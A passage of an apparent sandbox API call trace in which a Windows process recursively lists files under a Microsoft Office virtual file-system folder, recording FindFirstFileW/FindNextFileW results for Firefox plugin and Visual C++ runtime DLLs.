lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0289.079] GetProcessHeap () returned 0xaf0000 [0289.079] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0289.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.080] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.080] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0289.080] GetProcessHeap () returned 0xaf0000 [0289.080] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0289.081] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.081] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 1 [0289.081] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 0 [0289.081] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0289.081] GetProcessHeap () returned 0xaf0000 [0289.081] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.082] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0289.082] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.082] GetProcessHeap () returned 0xaf0000 [0289.082] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0289.083] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0 [0289.083] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0289.083] GetProcessHeap () returned 0xaf0000 [0289.083] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0289.083] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0289.083] GetProcessHeap () returned 0xaf0000 [0289.083] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0289.084] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0289.085] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.086] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee7cccb2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee7cccb2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf466c4e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27450, dwReserved0=0x0, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0289.086] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf46b8986, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d250, dwReserved0=0x0, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0289.086] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc6b9190, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f670, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0289.086] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d34074e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x192448, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.DLL", cAlternateFileName="")) returned 1 [0289.086] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8268, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20ENU.DLL", cAlternateFileName="")) returned 1 [0289.086] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x55b0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140.dll", cAlternateFileName="")) returned 1 [0289.086] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140chs.dll", cAlternateFileName="MFC140~1.DLL")) returned 1 [0289.086] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefdda943, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140cht.dll", cAlternateFileName="MFC140~2.DLL")) returned 1 [0289.087] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140deu.dll", cAlternateFileName="MFC140~3.DLL")) returned 1 [0289.087] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe460, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140enu.dll", cAlternateFileName="MFC140~4.DLL")) returned 1 [0289.087] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x100c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140esn.dll", cAlternateFileName="MF9310~1.DLL")) returned 1 [0289.087] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc5770c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x104c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140fra.dll", cAlternateFileName="MF6461~1.DLL")) returned 1 [0289.087] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140ita.dll", cAlternateFileName="MF3F49~1.DLL")) returned 1 [0289.087] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140jpn.dll", cAlternateFileName="MFC411~1.DLL")) returned 1 [0289.087] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb660, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140kor.dll", cAlternateFileName="MFBB77~1.DLL")) returned 1 [0289.088] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140rus.dll", cAlternateFileName="MF5D55~1.DLL")) returned 1 [0289.088] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x562670, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0289.088] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfcm140.dll", cAlternateFileName="")) returned 1 [0289.088] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfcm140u.dll", cAlternateFileName="")) returned 1 [0289.088] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95058, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp100.dll", cAlternateFileName="")) returned 1 [0289.088] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x618c1b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp110.dll", cAlternateFileName="")) returned 1 [0289.088] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f458, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0289.088] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x99258, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0289.088] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcb058, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0289.089] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd5c75d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdd5c75d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdd5c75d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc8858, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr110.dll", cAlternateFileName="")) returned 1 [0289.089] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe9458, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0289.089] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib110.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0289.089] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc240ad7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib120.dll", cAlternateFileName="VCCORL~2.DLL")) returned 1 [0289.089] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5d660, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~3.DLL")) returned 1 [0289.089] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0289.089] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VEN2232.OLB", cAlternateFileName="")) returned 1 [0289.089] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: 